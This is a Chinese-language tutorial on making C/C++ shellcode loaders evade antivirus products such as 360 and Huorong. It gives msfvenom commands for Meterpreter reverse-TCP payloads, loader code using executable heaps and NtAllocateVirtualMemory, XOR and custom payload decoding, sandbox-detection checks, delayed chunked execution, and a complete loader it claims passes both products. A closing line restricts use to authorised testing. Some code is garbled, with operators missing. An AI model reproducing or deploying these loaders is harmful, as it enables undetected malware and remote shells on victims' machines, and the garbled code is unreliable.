C/C++ Shellcode免杀实战:绕过主流杀软的编码与加载技术
1. Shellcode免杀基础概念与实战环境搭建Shellcode免杀技术本质上是一场攻防对抗的博弈。简单来说Shellcode就是一段能直接让CPU执行的机器码而免杀就是让这段代码躲过杀毒软件的检测。我刚开始研究这个领域时发现很多教程都过于理论化今天我就用最直白的语言带大家上手实战。先说说为什么C/C是最佳选择。相比其他语言C/C能直接操作内存执行效率高而且生成的二进制文件体积小。我在实际测试中发现用Python或Go生成的Shellcode容易被杀软标记而C/C的灵活性让我们有更多操作空间。实战环境搭建要点攻击机推荐Kali 2023靶机用Windows 10 21H2版本这个版本兼容性最好务必关闭Windows Defender的实时防护测试结束后记得重新打开安装360安全卫士和火绒的最新版本作为测试对象这里有个坑我踩过虚拟机环境下某些杀软行为会不同。建议先在物理机测试再用虚拟机验证。我曾遇到VirtualBox里能过360但物理机直接被杀的案例。2. Shellcode生成与基础加载技术2.1 MSF/CS的Shellcode生成技巧用msfvenom生成Shellcode时很多人直接复制网上的命令却忽略了关键细节。比如x86和x64架构不匹配会导致上线失败。我建议这样生成# x86架构 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT443 -f c -b \x00\x0a\x0d # x64架构 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT443 -f c -b \x00\x0a\x0d那个-b参数是用来排除坏字符的不加的话可能导致Shellcode截断。有一次我折腾半天不上线最后发现是忘了处理\x00字符。2.2 五种经典加载方式对比原始文章提到了五种加载方式我实测后发现各有优劣指针执行最简单但被杀得最惨((void(*)(void)) buf)();动态内存加载最常用的方法char* mem VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(mem, buf, sizeof(buf)); ((void(*)())mem)();汇编加载兼容性有问题__asm { lea eax, buf call eax }实测下来动态内存加载代码混淆的方式通过率最高。不过要注意VirtualAlloc的调用方式本身就有特征后面会讲如何优化。3. 绕过杀软的核心技术3.1 Shellcode编码与加密实战XOR加密是最容易实现的但强度较低。我推荐多层加密方案// XOR加密函数示例 void xor_encode(char *data, size_t len, char key) { for(size_t i 0; i len; i) { data[i] ^ key; } } // 使用示例 xor_encode(buf, sizeof(buf), 0xAA);更安全的做法是AESRSA组合加密。不过要注意复杂的加密会增加Shellcode体积可能引发新的检测。我有个项目就因为加密后体积过大被360的启发式扫描检测到了。3.2 内存加载技术进阶杀软已经对VirtualAlloc等API建立了特征库我们需要更隐蔽的方式// 使用HeapCreateHeapAlloc替代VirtualAlloc HANDLE hHeap HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0); void *mem HeapAlloc(hHeap, 0, sizeof(buf)); memcpy(mem, buf, sizeof(buf)); ((void(*)())mem)();还可以利用Windows API的合法功能来加载代码比如// 利用NTAPI实现内存分配 typedef NTSTATUS (NTAPI *NtAllocateVirtualMemory_t)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); NtAllocateVirtualMemory_t pNtAllocateVirtualMemory (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(ntdll.dll), NtAllocateVirtualMemory);4. 对抗杀软动态分析的技巧4.1 反沙箱技术实现360等杀软会使用沙箱进行动态分析我们可以通过以下方式干扰// 检测沙箱环境 if(GetTickCount() 300000) { // 如果系统运行时间小于5分钟 exit(0); // 可能是沙箱环境 } // 检测CPU核心数 SYSTEM_INFO sysInfo; GetSystemInfo(sysInfo); if(sysInfo.dwNumberOfProcessors 2) { exit(0); // 沙箱通常配置单核 }4.2 延迟执行与行为混淆杀软通常会设置执行超时我们可以利用这个特点// 随机延迟执行 Sleep(rand() % 30000 30000); // 延迟30-60秒 // 分阶段加载Shellcode for(int i 0; i sizeof(buf); i 512) { int chunkSize min(512, sizeof(buf) - i); memcpy(mem i, buf i, chunkSize); Sleep(1000); // 每拷贝512字节休眠1秒 }5. 实战案例与调试技巧5.1 过360和火绒的完整示例下面是我最近测试通过的一个代码框架#include Windows.h #include stdio.h #include time.h #pragma comment(linker,/subsystem:\Windows\ /entry:\mainCRTStartup\) // 加密后的Shellcode unsigned char encBuf[] {0x12,0x34,0x56,...}; void decode_shellcode(char *data, size_t len) { // 自定义解码算法 for(size_t i 0; i len; i) { data[i] ((data[i] 4) | (data[i] 4)) ^ 0x55; } } int main() { // 反沙箱检测 if(GetTickCount() 300000) return 0; // 延迟执行 srand(time(0)); Sleep(rand() % 45000 15000); // 解码Shellcode decode_shellcode(encBuf, sizeof(encBuf)); // 非常规内存分配 HANDLE hHeap HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); void *mem HeapAlloc(hHeap, 0, sizeof(encBuf)); // 分段拷贝 for(int i 0; i sizeof(encBuf); i 256) { int chunk min(256, sizeof(encBuf) - i); memcpy((char*)mem i, encBuf i, chunk); Sleep(500); } // 执行Shellcode ((void(*)())mem)(); return 0; }5.2 调试与排错经验调试Shellcode时我常用以下方法使用x64dbg在调用Shellcode前设置断点单步跟踪执行内存校验在Shellcode执行前检查内存属性MEMORY_BASIC_INFORMATION mbi; VirtualQuery(mem, mbi, sizeof(mbi)); if(!(mbi.Protect PAGE_EXECUTE_READWRITE)) { // 内存属性异常 }日志记录在关键节点写入日志文件但要注意清理痕迹有个常见错误是忘记关闭DEP数据执行保护导致Shellcode执行失败。可以在编译时加上#pragma comment(linker, /NXCOMPAT:NO)6. 持续对抗的策略免杀不是一劳永逸的事。我建议建立自己的代码库定期更新以下内容加密算法轮换每2-3周更换一次加密方案加载器变异保持核心逻辑不变修改代码结构API调用链使用不同组合的内存分配函数反调试技巧持续更新反沙箱检测方法最后提醒一点这些技术请仅用于合法授权的渗透测试。我见过太多人因为滥用这些技术惹上麻烦。保持技术好奇心但更要遵守法律底线。